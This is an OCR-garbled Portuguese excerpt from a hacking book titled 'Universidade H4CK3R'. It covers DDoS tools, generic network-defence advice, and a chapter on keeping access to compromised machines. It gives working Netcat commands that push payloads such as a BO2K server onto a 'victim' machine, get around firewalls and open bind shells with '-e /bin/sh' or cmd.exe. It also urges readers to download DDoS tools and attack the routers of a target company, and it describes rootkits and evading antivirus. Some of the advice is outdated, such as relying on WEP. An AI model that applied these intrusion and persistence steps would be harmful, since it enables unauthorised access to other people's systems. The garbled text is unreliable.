Imagine agora que o hacker mais tarimbado. Um ataque DDoS pode ser sofisticado com a distribuio de diversos mestres, controlados tambm distncia pelo invasor. Ele pode tanto usar ferramentas especiais para tal, j existentes, como tambm usar coisas do sistema operacional como o Netcat ou o Telnet.

"Salvem-me!"

1305

]Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Agora, uma pitada a mais de maldade: cada um dos agentes pode usar lentes Smurf ou Fraggle para multiplicar sua fora. Um ataque com essa configurao devastador!

13061
Ataque, defesae contra-ataque: Invaso [

Unive.rsidade 3ano

Masters and Slaves


H uma infinidade de ferramentas para todos os ataques 000 e DDoS descritos aquLA maioria pode ser encontrada nos dois sites indicados anteriormente: packetstormsecurity.nl/DoS/ e www.astalavista.box.sk. Outra seo, packetstormsecurity.nl/distributed/, trata de ferramentas e tutoriais DDoS. Procure, nos sites indicados e em seu mecanismo de busca preferido, informaes e download das seguintes ferramentas: . Fapi . Targa . Blitznet . TrinOO/WinTrinOO . TFN/TFN2k/TFNWin ~ Stacheldraht ~ Shaft ~ Trank ~ Trinity Como tarefa para casa, o estimado leitor ter que ler a documentao e testar todos, um a um, e descobrir em quais categorias (s vezes mais de uma) cada um deles se encaixa. Outra tarefa: procure informaes sobre ataques a roteadores. Voc ficar surpreso em saber que por vezes mais fcil atacar equipamentos intermedirios da Internet do que o alvo fmal. Se est muito difcil tirar do ar o servidor daquela empresa inimiga do meio-ambiente, talvez o roteador ligado a ele seja o lado mais fraco - e, de quebra, deixa a rede interna deles sem acessos Grande Rede.

Defesa e contra-ataque
Bem, l vamos ns. Este foi um captulo longo. Procuramos colocar nele o bsico do bsico sobre ataques a computadores e redes. Ustamos aqui, portanto, algumas dicas sobre o que procurar e por onde comear para segurar seus sistemas e evitar que sejam atacados com essas tcnicas. Recomendaes aplicveis a todos os tipos de ataques O mais importante! Deixe ativados apenas os servios que est realmente usando. Se o servidor apenas de HTTP e FTp, desabilite Finger, Telnet, SSH, SMTP,POp, IMAP,Quake... Configure corretamente seu fIrewall, e tenha sempre mais de um tipo, pelo menos um diferente para cada lado da DMZ. Prefira f1ltros de pacote por estado de conexo (Stateful Packet Filters) e fIrewalls do tipo Proxy. Mesmo com os servios desabilitados nos servidores, feche as portas correspondentes no

13071
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

firewall para evitar trfego fantasma (por exemplo, de backdoors) e ACK Scanning. No tenha preguia: faa uma tabela de regras de ftltragem realmente longa e abrangente, preferencialmente associando portas e endereos e no simplesmente bloqueando. Mantenha sempre seus sistemas atualizados para evitar ser invadido por vulnerabilidades conhecidas e bem documentadas. Ateno especial aos hotfixes e Service Packs da Microsoft - o que no quer dizer que seus sistemas Unix e Novell precisam de menos cuidado. Por padro, crie usurios com o nnimo possvel de privilgios e v aumentando-os medida que seja preciso. Caso o usurio no precise mais do privilgio, no hesite em cass-Io. Crie polticas severas e consistentes de contas, que incluam nomes de login no-bvios, gerenciamento ostensivo de contas ativas, desativao imediata (ou antes, cancelamento) de contas ociosas, senhas fortes contendo letras, nmeros e smbolos e regras para alterao de senhas em menos de 30 dias. Alm disso, um documento interno oficial, assinado pelo funcionrio, deve regular claramente os equipamentos autorizados a conectar rede e prever punies caso a rede seja invadida ou comprometida por mau uso ou descuido do usurio.

War DiaLingeBrute Force


Em primeiro lugar, tente atacar a si mesmo com ferramentas de fora bruta. Se voc no deveria possuir modems ou acessos pessoais de alta velocidade ligados sua rede, esta uma boa maneira de descobrir. Ao menor sinal de modem discado, cable modem ou aDSLno autorizados em seu sistema, remova-os imediatamente! Para sistemas acessveispor Internet ou por conexo via terminal, a recomendao no dar acesso a todas as contas por default. E cuidado com as contas padro do sistema! Obrigatoriamente, os acessos devero ser feitos por VPNs criptografadas. No caso de seu negcio ou instituio realmente necessitar de modems e logins externos via Internet ou SSH, a poltica de senhas e acesso da empresa deve ser seguida risca, e as penalidades aplicadas de forma exemplar.

Estouro de pilha
No h muito o que dizer alm do bvio: se voc programador, sua obrigao escrever cdigo imune a buffer overflow. Mesmo sendo inerente s linguagens de programao, possvel implementar rotinas de verificao que barram injeo maliciosa de dados. Se voc administrador de sistemas ou mesmo usurio domstico, mantenha seu sistema sempre atualizado com os ltimos "remendos" publicados pelos fabricantes de seu software. E no se concentre apenas nos servidores: as estaes tambm so vulnerveis e portas de entrada para sua rede.

13081
Ataque, defesa e contra-ataque: Invaso [

Universidade 3ano

Quebra de senhas
Para comear, use ferramentas de quebra de senha em voc mesmo. S termine quando estiver satisfeito com o resultado - que deve ser, por acaso, zero: nenhuma senha a descoberto. Faa esse teste periodicamente, pelo menos com o dobro da freqncia com a qual as senhas devem ser mudadas. Se a poltica da empresa obriga os usurios a mudar a senha a cada 30 dias, tente quebrar as senhas do sistema pelo menos a cada 15 dias. O mtodo mais eficiente para barrar o brote force limitando o nmero de logins e bloqueando temporariamente (e no em definitivo) as contas do sistema. Isso cria um problema de DoS, mas ainda melhor que ter seus dados comprometidos. Evite o roubo de senhas a todo custo, e dificulte ao mximo a vida do cracker que porventura consegu-Io. Vale desabilitar os 1M Hashes no Windows NT/2k, criar um servidor de login centralizado, com criptografia e segurana (como o Kerberos), usar Shadow Passwords no Unix (tambm com login centralizado via LDAP+Kerberos) e mesmo criptografar os sistemas de arquivos. As severas polticas de senhas descritas acima tambm se aplicam neste caso. Bem como campanhas de consientizao dos usurios para os males das senhas fracas e do comportamento de risco - senhas no devem ser escritas em lugar algum, muito menos divulgadaso NUNCA! Por fim, a instalao de softwares que rejeitam senhas fracas no ato do cadastro do usurio (e posterior troca de senha peridica - sua empresa instituiu isso, no ?) um ponto-chave para evitar que os usurios coloquem em risco toda a rede por colocar o nome do cachorro como senha pessoal.

War Driving
Criptografe sua rede e ative o WEP.Ponto fmal.

SQl Injections e Cookie Poisoning


Crie dispositivos de verificao em todos (repito: todos) os campos de todos (novamente repito: todos) os formulrios do seu site na Internet. Bloqueie sumariamente caracteres perigosos como =,' e", *,% e _oUma boa poltica liberar apenas letras e nmeros e bloquear todo o resto. Use sempre o mtodo POST para envi-Ios ao script processador, uma vez que o mtodo GET deixa informaes importantes na URL. Se possvel, criptografe os campos antes de envi-Ios. Melhor ainda: use conexes HTTPS/SSLcom certificados emitidos por empresas idneas e criptografia forte. No caso de cookies, faa um controle de sesso coerente, com session IDs preferencialmente criptografados e, se possvel, dinmicos - mudando a cada pgina acessada. No se deve confiar apenas na criptografia do SSL: criptografe tudo vrias vezes ANTES de enviar por HTTPS (que tambm criptografado).

1309 I

]Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

Sniffing, Spoofing e Hijacking


Em primeiro lugar, coloque f1ltros anti-spoof e detectores de sniffers em todos os pontos de entrada, sada e passagem (roteadores entre sub-redes) de sua rede. IDSs so bem vindos e grandes companheiros dessas ferramentas. Mesmo no sendo impeditivo para a ao do hacker, um agente complicador: instale switches e bridges em vez de hubs e segmente sua rede ao mximo. Alm do benefcio do desempenho, isso cria uma camada a mais de dificuldade para o invasor. Se possvel, divida a rede em subredes e coloque roteadores com f1ltros de pacotes muito bem estruturados para interlig-Ias. Dependendo do nmero de pessoas, tempo, oramento e tamanho da rede, possvel configurar estaticamente as tabelas MAC dos switches e bridges em cada uma de

suas portas. Comisso,o equipamento fica imune aARPSpoofmge MACFlooding .


(mas no ao entupimento da rede ou mesmo negao de servio possivelmente provocados por eles). Mas prepare-se: uma tarefa herclea... Outro mtodo para dificultar (e muito!) a ao dessas ferramentas a criptografia sistemtica de toda a rede. Toda ela. Use tudo o que estiver mo, cada qual para sua funo especfica: PGP/GPG, IPSec, HTTPs, SSH (use sempre SSH verso 2!). J vi projetos de VPNs com vrios nveis de tunelamento, todos criptografados. Leve em conta o fato de que cada nvel criptogrfico tem um impacto negativo fenomenal no desempenho total da rede e use o bom senso para dosar performance e segurana.. Implemente DMZs no s entre a rede corporativa e a Internet (isso miopia!), mas tambm diversos nveis de DMZs e mesmo DMZs interdepartamentais! Verifique a predictabilidade dos nmeros seqenciais TCP de seus computadores. Mquinas Windows 9x tornam isso brinquedo de criana, mquinas FreeBSD e Solaris, por outro lado, so famosas por serem praticamente randmicas nesse ponto. Se estiver usando sistemas Unix, esquea os Unix Trusts. Alm deles, outro esquema de confiana muito ruim o que a Microsoft chama de PDC/PDC Trusted Relations no Windows NT. Evite-os completamente. Prefira sistemas modernos como o Novell eDirectory ou as inmeras implementaes do LDAP, incluindo a o AOS da Microsoft. Mas use sempre um esquema de criptografia. Se nada disso estiver disponvel, mais seguro deixar o usurio logar-se individualmente em cada um dos sistemas da empresa do que ter um sistema de autenticao centralizado cujo esquema de confiana falho.

Negao de Servio
IDSs ajudam a detectar ataques DoS locais - a no ser que o ataque destrua o prprio IDS, o que bem possvel e mesmo provvel. As defesas contra IP Spoofing, ARP Spoofing e MAC Flooding tambm ajudam aqui. Tabelas MAC estticas em switches idem.

1310 I
Ataque.defesa e contra-ataque: Invaso

Universidade 3ano

Sistemas com a ltima atualizao liberada pela fabricante so menos expostos a DoS baseados em vulnerabilidades conhecidas. Alguns sistemas possuem patches que os tomam inclusive imunes a ataques do tipo SYN Flood e Smurf. Se possvel, compre mais velocidade para sua conexo e tenha sempre rotas alternativas (e secretas!) caso a conexo principal esteja inundada. Adequao de trfego (Traffic Shape) tambm desejvel. Para o DDoS, uma nica recomendao, alm das anteriores: mantenha os zumbis longe de suas mquinas! Faa uma auditoria peridica em todos os computadores procura de portas suspeitas ou programas no-autorizados. Uma ltima dica: Echolot (echolot.sourceforge.net).

I 311 I
Ataque, defesa e contra-ataque: Invaso

Manutenco .
Captulo
"Now /'m coming through the backdoor How did / get here /00 / mind /n an eerie sort ofway / sense you reaching... Wil!you linger a little longer While / wonder' TadpoLe, "Backdoor"

Ataque, defesa e contra-ataque:

i. -Entro livremente por sua porta de trs I Mas como cheguei a ela? I At me importo I mas desprezo voc I Eu o sinto me alcanar ... I Voc ficar por ai um pouco
mais? I Eu fico aqui-. Do single Backdoor. de i999.

I Universidade

H4CK3R I

Ganhar acesso a um sistema qualquer - seja ele um web site, uma rede, um computador Macintosh ou um servidor Novell - no bolinho. Em todos os captulos preparatrios e especialmente no anterior, vimos alguns mtodos de como preparar o terreno e ganhar acesso aos nosso alvos. No todos, no muitos, sequer os mais importantes: a fIm de ilustrar os passos a serem seguidos, vimos apenas um ou outro exemplo. No tome este livro, portanto, como uma enciclopdia de ataques. Em vez disso, use-o como cartilha para aprender o b-a-b, e v pesquisando e estudando nos recursos indicados em todos os captulos. Leituras adicionais so muito importantes. A srie Hackers Exposed (McClure, Scambray e Kurtz, editora Makron, za edio em portugus e 4a em ingls), composta de quatro livros - Hackers Exposed, HE Windows 2k edition, HE Linux edition e HE Web edition - uma excelente companheira para nossa pequena obra e enfoc o assunto de maneira diferente. Enquanto tentamos mostrar a mecnica da coisa, a srie HE oferece um verdadeiro "dicionrio" de ataques. Mas no descuide do Bugtraq!!! Uma vez dentro dos intestinos de nossa presa, hora de cuidar de manter seu acesso e, possivelmente, bloquear acesso a outros candidatos a invasor que, por descuido, podem pr a perder seus meses de estudo e esforo. Cuidemos, ento, da manuteno de nossa permanncia no seio da vtima por longos anos.

Backdoors
Toda casa possui uma porta de trs (ok, ok, alguns apartamentos mais populares [apertamentos???] possuem apenas uma passagem para acesso ao imvel - e passa pela sala de estar. Fazer o qu...). Pela porta de trs trazemos a feira, os empregados da casa tm acesso ao interior para trabalhar, os operrios trazem ferramentas e material para reformar o banheiro e samos com o cachorro para passear. , portanto, apropriadamente chamada de porta de servio. Por outro lado, pela porta da frente recebemos nossas visitas. Se for um imvel comercial, por ela tambm que recebemos nossos clientes. A decorao, os objetos e o prprio espao so diferentes nos ambientes atendidos pelas duas portas. Portanto, apropriado dizer que ambas as portas possuem funes diferentes, e, portanto, prestam-se a atividades diversas. Em um sistema computacional, muitas vezes necessrio tambm possuir vrias formas de acesso. O ambiente operacional que os usurios comuns conhecem desenvolvido de modo a tornar a utilizao do sistema mais fcil e direta. Por outro lado, devem haver formas de os administradores acessarem os sistemas tambm e, assim, desempenhar suas tarefas, muitas vezes at simultaneamente, sem incomodar o usurio.

3141
Ataque, defesa e contra-ataque: Manuteno

Universidade 3 ano

H diversas maneiras de chegar a isso. Em sistemas Unix, o administrador pode simplesmente logar-se remotamente como root (via SSH v2, nunca via Telnet!!!) e fazer o que for preciso. Em sistemas Windows e Macintosh, como no h essa facilidade por padro, possvel instalar programas que permitem o mesmo controle. Entre eles, podemos citar CarbonCopy, LapLink, ControlIT, o SMS da Microsoft e talvez o mais conhecido de todos: o pcAnywhere, da Symantec. Por meio desses programas, administradores entram pelas "portas de trs" nos sistemas dos usurios e fazem o que deve ser feito. H um outro uso para portas de trs em computadores domsticos e estaes de trabalho corporativas: softwares espies. Existem diversos softwares (como o I Spy e o WmKeylogger) desenvolvidos para que cnjuges ciumentos, pais extremados e empresrios paranicos possam vigiar o que suas caras-metade, filhos ou empregados andam fazendo. Passando longe da discusso sobre os aspectos legais, morais e ticos envolvidos, podemos afirmar que esses programas tambm abrem diversas portas de trs nos sistemas em que esto instalados. A economia de tempo, dinheiro e recursos gerada por essa tecnologia enorme. Bom, no? Novamente, nem tanto. E se hackers mal-intencionados (lembrese: hacker no sinnimo de bandido, portanto o qualificador apropriado...) conseguirem acessar seus sistemas por meio dessas portas de trs? Bem, a temos um problema.

Portas de trs maliciosas


A soluo radical para o problema exposto acima no usar tais programas de forma alguma. Uma soluo mais razovel - mas, acredite, muito vulnervel - aplicar todos os patches de segurana recomendados pelo fabricante, usar senhas fortes, criptografia etc., ete., etc. (voc j est careca de saber...). Entretanto, mesmo em sistemas nos quais o administrador no instalou esse tipo de programa, a ameaa existe. Ao chegar ao fim do captulo anterior estvamos dentro do sistema da vtima, certo? Bem, a primeira coisa a fazer instalar um ou mais backdoors para podermos entrar novamente no futuro, pois certamente o dono do sistema ir tampar o buraco por onde passamos. Adicionalmente, podemos corrigir todas as vulnerabilidades das mquinas que invadimos, impedindo que kiddies descuidados se denunciem e nos levem de embrulho. J falamos bastante sobre backdoors para Windows nos captulos sobre Vulnerabilidades. Em Vulnerabilidades I, inclusive, mostramos passo a passo como configurar um Back Orifice 2000 (ou B02K) para controlar mquinas alheias. No caso desses pacotes prontos, no h muito mais o que falar: so peas complexas por seus muitos recursos, mas ao mesmo tempo so uma grande coleo de rotinas simples. Um programador com conhecimentos de parcos a moderados em alguma linguagem moderna, como Java, Visual Basic,
1315 I

]Ataque,

defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R I

C#, C++ ou Objective Pascal (usada no Delphi/Kylix) poderia escrever em poucos dias backdoors to ou mais completos e complexos que o B02K. NetBus, Sub7,AlienToy... A lista vasta. Mesmo programas de administrao srios (em tempo: o B02K foi desenvolvido como aplicao sria!) como o pcAnywhere ou o VNC podem ser usados "para o mal".

Novamente: "At tu, Brutus?"


Alm das ferramentas especficas j exaustivamente descritas ao longo do livro, o prprio sistema operacional prdigo em recursos que podem ser usados a favor do invasor - e contra o dono da mquina. Como j cansamos de ver, servidores de Telnet e Ffp podem usados com novas contas, especialmente criadas pelo hacker no sistema para posterior invaso (pela porta de frente, hehehe...). Cada sistema possui sua idiossincrasia e seu conjunto de programas que podem ser usados para fabricar um backdoor. Alm de nao ser preciso instalar nada, programas j existentes no computador raramente levantam suspeitas. Mas h um pequeno utilitrio, presente em todos os Unix e disponvel para a famlia WinNT, que especialmente interessante para criar backdoors improvisados. Chamado de Netcat (www.atstake.com/researchJtools/network utilities), permite inmeros truques em redes privadas e na Internet - e pode ser usado como backdoor tambm! Apesar de possuir verses para Windows, o nome Netcat veio de seu primo cat, o comando no Unix para mostrar o contedo de um arquivo no terminal. Observe:
$ cat Buttix Hey Beavis, I'm a Unix string!!!

$ O comando cat jogou o contedo do arquivo Buttix na tela do terminal. Da mesma forma, o comando nc pode jogar, de um lado a outro da conexo (ou seja, no necessariamente na tela), o que uma determinada porta de um computador distante est cuspindo na rede. A sintaxe mais simples nc ip.do.computador.monitorado porta. Por exemplo, o comando
C:\> NC 192.168.1.11 80

quando emitido em um computador Wmdows, vai conectar-se e monitorar tudo o que sai pela porta 80 da mquina cujo IP 192.168.1.11. Obviamente, a porta 80 tem de estar aberta, caso contrrio o Netcat abortado. A sintaxe idntica em uma mquina Unix. Na verdade, ele age como um cliente de mo dupla - recebe e tambm transmite dados. Nesse mesmo exemplo, ao emitir o comando, nada acontece - o outro lado est esperando por uma ordem. Sabemos que trata-se de um servidor Web, portanto basta enviar o comando GET (sim, precisa estar tudo em maisculas). Aps o comando, o cdigo-fonte HTMLda pgina inicial do servidor H1TP ser mostrado na tela. Pode-se usar o Netcat para conectar a volumes 5MB
1316 1 Ataque, defesa e contra-ataque: Manuteno I

Universidade 3 ano

(porta 139),FfP, Telnet, SMTP... Basta conhecer o protocolo e emitir os comandos corretos. Para conectar-se a portas UDp'usa-se a opo -u. O Netcat funciona em dois modos. O modo cliente o que vimos - envia qualquer coisa colocada em sua entrada para o IP/porta indicado. Se houver respostas, apresenta-as na tela. Por entrada, entendemos tanto a entrada padro (o teclado) como qualquer outro programa que esteja acoplado entrada (poderamos usar pipes - funciona no Windows e no Unix). H um outro modo, chamado modo servidor. este que nos interessa. O modo servidor, ao invs de enviar comandos, fica de prontido para receb-Ios e devolver o resultado da requisio para a sada padro. Veja o seguinte comando:
C:\> NC -1 -p 80

Nesse caso, o Netcat est agindo como servidor. A opo -1 indica isso. A opo -p indica a porta a ser usada. Faa uma experincia: em nossa rede de testes, coloque o comando acima para rodar na mquina Windows. Na mquina Unix, use o comando aterior (nc 192.168.1.1 80). Experimente digitar na mquina Unix e veja o que acontece na Windows: os caracteres da sua entrada padro (no caso, o seu teclado) so transferidos para a sada padro (a tela) da outra mquina. Bacana, n? Mas vamos apimentar um pouco as coisas. Imagine que voc quer transferir um arquivo do seu computador para o computador invadido (um B02K, por exemplo). Nada mais simples. O nome do arquivo server.exe e o endereo IP do computador alvo 192.168.1.1. No computador da vtima, use o comando
De

-1 -p 9999

>

server.exe

No do hacker, experimente
De 192.168.1.1 9999
<

server.exe

Note os redirecionamentos. No computador da vtima, o caractere ">" indica redirecionamento para o arquivo server.exe. Todos os dados recebidos sero copiados para l. No computador do atacante, o caractere "<" indica que todos os bytes do arquivo server.exe sero mandados para a entrada do Netcat. Quando o ltimo bit for transmitido, a conexo cai automaticamente. Mesmo sem acesso a FTP ou a um compartilhamento do Windows, foi possvel enviar um arquivo para o sistema da vtima. De fato, mesmo com acesso irrestrito a um shell do sistema, o atacante no tem acesso fsico a disquetes ou drives de CD (o sistema invadido pode estar do outro lado do mundo). Se no houver um meio de enviar os arquivos via rede como FTP,r-comandos no Unix e compartilhamentos no Windows, o invasor deve ter um programinha na manga para poder transferi-Ios. A opo mais direta o bem-amado Netcat. Invertendo os redirecionamentos, possvel deixar a mquina do atacante como servidor pronta para "empurrar" o arquivo, e conectar-se a ela pela mquina da vtima, que far o download. A vantagem? Bem, a maioria das configuraes de firewall iria barrar um arquivo sendo transferido se a origem da

1317 I

]Ataque,

defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R I

conexo vier de fora (ou seja, da mquina do hacker). Invertendo-se os papis, a mquina da vtima que requisita o arquivo - e o firewall vai alegremente deixar isso acontecer. Na mquina do hacker: ne -1 -p 9999 < server. exe
Na mquina da vtima: ne 192 .168 .1.1 9999
> server.

exe

A mquina do hacker fica esperando conexes. Quando uma acontece, ele envia o arquivo especificado. A conexo foi feita a partir da mquina da vtima. Ela originou a conexo e comea a receber dados, que so gravados em server.exe. Mas alm de plantar backdoors, vrus e trojans no sistema invadido, o Netcat pode ser, ele prprio, um backdoor! A opo -e redireciona tudo o que for recebido para um comando externo! fcil perceber que, redirecionando para cmd.exe no Windows ou para /bin/sh no Unix, o Netcat pode nos dar um shell, que ter os privilgios do usurio, em que o nc foi executado. O comando completo na mquina da vtima seria:
ne -1 -p 9999 -e /bin/sh
Ou, para sistemas Windows:

NC -1 -p 9999 -e emd.eom

Observe que a opo -e pode vir desabilitada por padro. Pode ser necessrio compilar o cdigo novamente com a opo GAPING_SECURITY _HOLE (o nome j diz tudo...) ou baixar um executvel j preparado para tal netcat.sourceforge.net uma grande pedida. H diversos outros usos para o Netcat, como, por exemplo, redirecionamento de conexes. til para furar flfewalls ou para criar um encadeamento (daisy chain ou tunneling mode) entre vrios computadores na Internet para fins de spoofing. Do mesmo modo que no encadeamento de proxies pblicos, podemos usar o Netcat para montar uma rede de proxies privativos - 15 ou 20 na mesma linha e com rotas alternativas so aparatos comuns de hackers experientes! Outro uso muito interessante do Netcat como portscanner improvisado. Esses e muitos outros destinos podem ser encontrados no excelente white paper de Tom Armstrong intitulado "Netcat - o canivete suo do TCP/IP" (www.giac.org/ practical/gseclTom Armstrong GSEC.pdf - em ingls). Uma alternativa de respeito ao Netcat o CryptCat (www.farm9.com/content/Free Tools/CryptCat). um done perfeito do Netcat, com a mesma funcionalidade e sintaxe. Mas possui um diferencial interessante: toda a comunicao criptografada. Mesmo que a conexo seja descoberta, nunca sabero o que se passa nela. O Netcat , seguramente, a ferramenta Unix nativa (e muito instalada em Windows tambm) mais usada como auxiliar por invasores em sistemas alheios. Por ser minscula, facilmente instalada em sistemas que no a possuem. Mas o Netcat no o nico meio de improvisar backdoors. Fique atento a quaisquer programas que possam dar acesso a sistemas de arquivos. O interpretador PerI um deles: com poucas linhas de cdigo possvel montar um servidor como o Netcat em modo -1e enviar arquivos por ele, por exemplo.
1318 1

Ataque, defesa e contra-ataque: Manuteno [

Universidade

3 ano

Vrus e Cavalos de Tria


Apesar de serem dois assuntos j tratados no decorrer do livro, consideramos benfico relembrar conceitos importantes.

Mais uma vez, Vrus


No h muito o que falarsobre epidemias virais que j no sejam do conhecimento de todos.Vrus so programas que se comportam como seus homnimos biolgicos: so microscpicos, reproduzem-se sozinhos, consomem recursos computacionais que no lhes pertence e tm alta capacidade de infeco por contgio. Apesar de os programas de antivrus classificarem, como vrus, programas como cavalos de tria, backdoors e (pasmem!) vrus legtimos, as trs categorias de programas so extremamente diferentes, e poderia-se dizer at complementares. Os V1fUS no precisam dos trojans como meio de transporte e vetor de contaminao. Muito menos precisam abrir backdoors para entrar e sair dos sistemas infectados. Mas, apesar disso, tambm podem utilizar-se deles, caso a oportunidade aparea. Um vrus de computador possui objetivos muito claros: infectar o mximo possvel de sistemas, reproduzir-se rapidamente e opcionalmente consumir recursos e danificar os sistemas invadidos. Como so auto-suficientes, foge ao escopo deste livro discorrer a fundo sobre eles. Sugerimos ao leitor consultar os sites das grandes produtoras de antivrus para obter informaes atualizadas. E lembre-se: um vrus pode ser o companheiro para um ataque de DoS... Como tarefa para casa, pesquise sobre os grandes nomes do mundo viral: PingPong, Mozart, Michelangelo, Madonna, Chernobyl, Melissa, LoveLetter (conhecido no Brasil como I Love You), Nimda, Klez e BugBear. No campo da teoria, estude sobre programao orientada a objetos (vrus utilizam-se muito dela), herana, polimorfismo, funes reprodutivas e mtodos de contgio.

Vrus ainda indetectveis!


Tomemos os V1fUS mais conhecidos. O BugBear, por exemplo. A imprensa o descreve como "a pior ameaa viral de todos os tempos" (assim como fez com o Klez...) e, no entanto, um V1fUS comum, que usa as mesmas tcnicas ancis de propagao, infeco, destruio e replicao de outros mais antigos como o Melissa e que pode ser facilmente detectado por um antivrus atualizado. Virus mais modernos podem camuflar suas comunicaes com o mundo externo por meio de chamadas de sistema e comunicao interprocessos (releia os captulos sobre sistemas operacionais). Eles podem, por exemplo, "pegar emprestado" os sockets de seu navegador padro para mascarar a comunicao. Ou usar seu cliente de e-mail padro (por exemplo, o Outlook Express campeo de audincia) para se auto distribuir. Em nenhum dos casos o proces1319 I

]Ataque,

defesa

e contra-ataque:

Manuteno

I Universidade

H4CK3R I

so do virus vai aparecer durante a comunicao, e o comando netstat vai revelar apenas uma simples conexo Internet de seu prprio browser. Agora responda: que fIrewall vai barrar comunicaes H1TP ou SMTP originadas no lado de dentro de sua rede? O leitor poderia ainda protestar: "mas meu antivirus est atualizadssimo, como pegaria vrus novos"? A resposta simples: um programa desses detecta apenas vrus conhecidos. Um simples editor hexadecimal pode alterar detalhes do vrus e torn-Io, novamente, indetectado por um tempo. At que as empresas que ganham dinheiro com esse tipo de pnico corram para atualizar seus bancos de dados e at que as pessoas atualizem seus antivrus, o estrago est feito. Numa estimativa muito tosca, os autores consideram que mais de 90% dos vrus que efetivamente esto solta pelo mundo no so detectados por nenhum dos programas antivrus existentes no mercado. Por exemplo, uma das maneiras j bem antigas de confundir um antivrus comprimir o arquivo executvel do mesmo e adicionar um stub (pequeno programa no incio do arquivo compactado) que o descomprima na hora da execuo. Foi uma maneira inteligente de, durante muito tempo, fazer viroses passarem inclumes pelo corredor polons imposto pelas rotinas dos antivrus. J h tcnicas modernas de ofuscamento, entretanto, que colocam diversas camadas de desafIos comprimidos e criptografados, com diversos stubs diferentes e chaves de criptografta distribudas pelo arquivo. Cada vez que executado, o antivrus replica-se e se autocriptografa novamente com outras chaves cujos pedaos sero gravados em locais diferentes dentro do arquivo. Um antivirus, para conseguir simplesmente ler o contedo executvel do vrus, ter de descascar vrias camadas dessa cebola, descobrir vrias chaves criptogrftcas embaralhadas no meio dos dados do arquivo e ainda saber quais tipos de compresso foram usados em cada camada (sim, possvel usar tipos diferentes de compresso). O que nos leva ao problema principal: depois de encontrado um vrus desse tipo, sero necessrios vrios dias ou mesmo semanas para quebr-Io. Isso, bvio, ocorrer apenas se o antivrus conseguir determinar se aquilo um vrus, coisa muito difcil de acontecer. Para mais informaes sobre essas tcnicas de ofuscamento, pesquise na Internet sobre o DaVinci Group, um cl hacker fechado e que, ao que parece, o nico detentor dessa tecnologia; embora seja baseada em outras mais antigas que j esto rodando por a faz muito tempo. uma simples questo de vontade. Quando "cair a fIcha" dos crackers produtores de vrus para a tcnica, a computao como a conhecemos hoje entrar em colapso.

Indo alm dos Cavalos de Tria


J conversamos rapidamente sobre cavalos de tria no captulo VulnerabilidadesI. Naquela ocasio, ensinamos como criar um que escondesse o B02K em uma inocente
320

Ataque, defesa e contra-ataque: Manuteno [

Universidade 3 ano

imagem. Por definio,os cavalos de tria so apenas expedientes utilizadospara fazer a vtima acreditar que o arquivo em questo trata-sede algo inofensivo ou mesmo um presente - embora guarde algo danoso em suas entranhas. Cavalos de tria guardam e transportam qualquer coisa - pode ser um backdoor (o mais usual), mas tambm pode ser um vrus, um programa inocente ou mesmo outro trojan mais poderoso. Do casamento entre trojans e backdoors, entretanto, que saem as maiores dores de cabea dos administradores de sistemas e usurios domsticos... Chamados de RATs (Remote Administration Trojans), podem tomar o controle total do computador da vtima. H milhares de RATsdisponveis ou em desenvolvimento na Internet, especialmente para Windows. So, em sua maioria, desenvolvidos por kiddies ou programadores pouco mais que isso, normalmente em Visual Basic ou Delphi. So realmente brinquedos: embora os usurios comuns sempre caiam nas armadinlhas deles. Verifique em areyoufearless.com. www.evileyesoftware.com ou troianforge.net (entre outros) e veja voc mesm02. Trojans tradicionais como o B02K e assemelhados possuem muitas limitaes. So aplicaes e, portanto, rodam em User Mode. Enquanto no Windows isso no problema para o invasor, pois o prprio kernel roda partes de seu cdigo nesse modo, trojans carregando backdoors no funcionariam bem em outras plataformas. Em Unices, por exemplo, bem provvel que os usurios sequer tenham permisso de rodar programas a partir de seus diretrios pessoais. H um outro problema com os trojans tradicionais: como so aplicativos estranhos ao sistema, so facilmente detectveis. Mesmo escondendo-se com nomes insuspeitos entre os arquivos da pasta C\ WINDOWS, ferramentas de auditoria podem perfeitamente encontr-Ios. Para combater esse tipo de problema, a seleo natural criou uma especializao na fauna trojnica: a substituio de programas do sistema por outros especialmente alterados. Chamados de rootkits, tais programas alteram o funcionamento real de utilitrios de uso freqente, como o Ibin/login em computadores Unix ou o EXPLORER.EXE em mquinas Windows - Finder no Mac OS, pconsole no Novel1Netware, etc, etc, etc..-. Os rootkits mais comuns fazem, basicamente, quatro coisas: a) abrir um backdoor permanente ou ativado por um cdigo, b) mentir sobre o estado do sistema, c) apagar ou destruir alguma coisa, d) descobrir senhas e informaes sigilosas. A grande maldade de um rootkit , ento, embutir uma ou mais dessas quatro fimes em programas existentes. Por exemplo, o j citado Ibin/login em sistemas Unix. H rootkits que do acesso irrestrito ao sistema caso uma senha pr-programada seja informada. Por exemplo, em um sistema Solaris, a senha do usurio root @#S2L9*&. uma boa senha, dificilde quebrar ou adivinhar.Entretanto, se o progra2. Alis, uma boa idia interromper (novamente) a leitura do livro e brincar longamente com todos esses trojans e com as informaes e tutoriais presentes nesses sites. Leia os fruns; h threads interessantissimas e esclarecedoras.

1321I

]Ataque,

defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R

ma /bin/login for substitudo por um rootkit especialmente preparado, qualquer usurio com a senha especial (que pode ser configurada, por exemplo, para "xuxubeleza") ganha acesso de root na mquina. Um outro tipo de rootkit conhecido que tambm afeta o /bin/login um simples keylogger: guarda em um arquivo as senhas de todos os usurios que se conectam no sistema. Sujo,no acha? Um rootkit que afete o Windows Explorer, por outro lado, pode esconder completamente uma pasta que contenha diversos arquivos pertencentes ao invasor. Mesmo que a visualizao de arquivos ocultos esteja ligada, esse diretrio continuar escondido - o rootkit tratar de deix-lo longe dos olhos do usurio. E no gerenciador de tarefas do Windows veremos, simplesmente, uma instncia do Explorer. H rootkits diversos que escondem o estado da rede, conexes, sistema de arquivos e processos sendo rodados, entre outras coisas. Por exemplo, o ifconfig no Linux poderia mentir sobre o modo promscuo, escondendo o funcionamento de um sniffer. O TASKMAN.EXE(Gerenciador de Tarefas) do Windows poderia esconder processos e servios de trojans, vrus e scanners. Outros tipos de rootkits podem ecoar as comunicaes para o hacker ou dar acesso contornando a senha do administrador - por exemplo, em servidores SSH,Telnet ou 